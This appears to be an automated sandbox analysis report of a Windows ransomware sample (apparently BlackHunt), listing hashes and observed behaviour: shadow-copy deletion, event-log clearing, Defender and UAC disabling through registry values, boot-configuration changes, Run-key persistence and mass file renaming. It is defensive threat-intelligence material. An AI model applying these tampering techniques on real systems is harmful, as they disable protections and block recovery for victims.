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Analysis
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max time kernel
120s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 01:19
Static task
static1
Behavioral task
behavioral1
Sample
ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe
Resource
win10v2004-20231222-en
General
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Target
ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe
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Size
707KB
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MD5
b4c65ad8cb1465142cfed0b214102129
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SHA1
46208499782227917ee7f00d23c1c13f190d60ee
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SHA256
ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af
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SHA512
e97088d436309bfe9b9c112d9c9f1004c51b634ba45ae3be5ba001e1d85ac4ce19e5bdd713250d57180c7d4e834ca2c2119a150e9b8b9125a24889c48dcc42d1
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1R8xvnh:6uaTmkZJ+naie5OTamgEoKxLWElh
Malware Config
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1216 fsutil.exe 3024 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 2352 wevtutil.exe 2240 wevtutil.exe 1640 wevtutil.exe 2676 wevtutil.exe 2308 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 3744 bcdedit.exe 2228 bcdedit.exe 2956 bcdedit.exe 2892 bcdedit.exe -
Renames multiple (2886) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 2384 wbadmin.exe 1892 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 3672 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\V: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\R: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\I: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\U: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\L: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\Z: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\B: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\M: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\W: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\K: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\G: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\X: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\Y: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\O: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\S: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\J: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\E: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\P: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\Q: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\N: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\A: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\H: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\T: ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened (read-only) \??\F: fsutil.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Santiago ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_PT\#BlackHunt_ReadMe.txt ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\view.html ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\newgrounds.luac ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Tirane ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\plugin.jar ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.update.configurator.nl_zh_4.4.0.v20140623020002.jar ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Tashkent ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\bear_formatted_matte2.wmv ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Apia ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui_5.5.0.165303.jar ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Tijuana ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File created C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_Private.key ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Damascus ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin_2.0.100.v20131209-2144.jar ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File created C:\Program Files\VideoLAN\VLC\locale\hr\#BlackHunt_Private.key ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\Vdk10.rst ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File created C:\Program Files\DVD Maker\it-IT\#BlackHunt_ReadMe.hta ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Simferopol ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.components.ui_5.5.0.165303.jar ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui_5.5.0.165303.jar ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.updatechecker.nl_zh_4.4.0.v20140623020002.jar ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-progress-ui_ja.jar ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-bootstrap.xml ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\offset_window.html ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Sitka ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\SendMail.api ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\vlm.xml ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_widescreen_Thumbnail.bmp ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\#BlackHunt_Private.key ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jmx_zh_CN.jar ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\#BlackHunt_ReadMe.txt ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File created C:\Program Files\DVD Maker\fr-FR\#BlackHunt_ReadMe.hta ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\#BlackHunt_Private.key ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-jvmstat.xml ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-uisupport_zh_CN.jar ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jre7\lib\plugin.jar ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Eirunepe ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\#BlackHunt_ReadMe.txt ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-autoupdate-services.xml ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-application_zh_CN.jar ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.manipulator.nl_zh_4.4.0.v20140623020002.jar ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File created C:\Program Files\Java\jdk1.7.0_80\include\#BlackHunt_ReadMe.hta ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationLeft_ButtonGraphic.png ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File created C:\Program Files\7-Zip\#BlackHunt_ReadMe.txt ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Hobart ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_SelectionSubpicture.png ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\prodbig.gif ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Prague ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\7-Zip\Lang\vi.txt ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Bahia_Banderas ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kamchatka ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-11 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Madrid ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_ReadMe.txt ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\7-Zip\Lang\hr.txt ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\7-Zip\Lang\an.txt ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Vincennes ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-4 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File created C:\Program Files\VideoLAN\VLC\locale\gl\#BlackHunt_ReadMe.hta ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\PYCC.pf ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1132 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3812 vssadmin.exe 3156 vssadmin.exe 916 vssadmin.exe 2964 vssadmin.exe 3572 vssadmin.exe 3952 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 2316 taskkill.exe -
Modifies registry class 8 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2688 PING.EXE -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe Token: SeRestorePrivilege 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe Token: SeBackupPrivilege 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe Token: SeTakeOwnershipPrivilege 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe Token: SeAuditPrivilege 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe Token: SeSecurityPrivilege 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe Token: SeIncBasePriorityPrivilege 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe Token: SeBackupPrivilege 3080 vssvc.exe Token: SeRestorePrivilege 3080 vssvc.exe Token: SeAuditPrivilege 3080 vssvc.exe Token: SeBackupPrivilege 3588 wbengine.exe Token: SeRestorePrivilege 3588 wbengine.exe Token: SeSecurityPrivilege 3588 wbengine.exe Token: SeSecurityPrivilege 2352 wevtutil.exe Token: SeBackupPrivilege 2352 wevtutil.exe Token: SeSecurityPrivilege 2240 wevtutil.exe Token: SeBackupPrivilege 2240 wevtutil.exe Token: SeSecurityPrivilege 2676 wevtutil.exe Token: SeBackupPrivilege 2676 wevtutil.exe Token: SeSecurityPrivilege 1640 wevtutil.exe Token: SeBackupPrivilege 1640 wevtutil.exe Token: SeSecurityPrivilege 2308 wevtutil.exe Token: SeBackupPrivilege 2308 wevtutil.exe Token: SeDebugPrivilege 2316 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2536 wrote to memory of 1312 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 29 PID 2536 wrote to memory of 1312 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 29 PID 2536 wrote to memory of 1312 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 29 PID 2536 wrote to memory of 1312 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 29 PID 2536 wrote to memory of 2832 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 31 PID 2536 wrote to memory of 2832 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 31 PID 2536 wrote to memory of 2832 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 31 PID 2536 wrote to memory of 2832 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 31 PID 2536 wrote to memory of 2388 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 36 PID 2536 wrote to memory of 2388 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 36 PID 2536 wrote to memory of 2388 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 36 PID 2536 wrote to memory of 2388 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 36 PID 2536 wrote to memory of 2532 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 33 PID 2536 wrote to memory of 2532 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 33 PID 2536 wrote to memory of 2532 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 33 PID 2536 wrote to memory of 2532 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 33 PID 2536 wrote to memory of 2764 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 37 PID 2536 wrote to memory of 2764 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 37 PID 2536 wrote to memory of 2764 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 37 PID 2536 wrote to memory of 2764 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 37 PID 2536 wrote to memory of 2760 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 38 PID 2536 wrote to memory of 2760 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 38 PID 2536 wrote to memory of 2760 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 38 PID 2536 wrote to memory of 2760 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 38 PID 2536 wrote to memory of 2864 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 155 PID 2536 wrote to memory of 2864 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 155 PID 2536 wrote to memory of 2864 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 155 PID 2536 wrote to memory of 2864 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 155 PID 2832 wrote to memory of 2888 2832 cmd.exe 41 PID 2832 wrote to memory of 2888 2832 cmd.exe 41 PID 2832 wrote to memory of 2888 2832 cmd.exe 41 PID 1312 wrote to memory of 2892 1312 cmd.exe 42 PID 1312 wrote to memory of 2892 1312 cmd.exe 42 PID 1312 wrote to memory of 2892 1312 cmd.exe 42 PID 2536 wrote to memory of 2780 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 48 PID 2536 wrote to memory of 2780 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 48 PID 2536 wrote to memory of 2780 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 48 PID 2536 wrote to memory of 2780 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 48 PID 2536 wrote to memory of 2876 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 47 PID 2536 wrote to memory of 2876 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 47 PID 2536 wrote to memory of 2876 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 47 PID 2536 wrote to memory of 2876 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 47 PID 2532 wrote to memory of 2292 2532 cmd.exe 46 PID 2532 wrote to memory of 2292 2532 cmd.exe 46 PID 2532 wrote to memory of 2292 2532 cmd.exe 46 PID 2536 wrote to memory of 2772 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 44 PID 2536 wrote to memory of 2772 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 44 PID 2536 wrote to memory of 2772 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 44 PID 2536 wrote to memory of 2772 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 44 PID 2536 wrote to memory of 2120 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 50 PID 2536 wrote to memory of 2120 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 50 PID 2536 wrote to memory of 2120 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 50 PID 2536 wrote to memory of 2120 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 50 PID 2536 wrote to memory of 2740 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 52 PID 2536 wrote to memory of 2740 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 52 PID 2536 wrote to memory of 2740 2536 ec30512a57d1e93a0ee462a48a5a7d0a752505abdea31c4ed35d24b3ce5c47af.exe 52 PID 2536 wrote to memory of 2740 2536 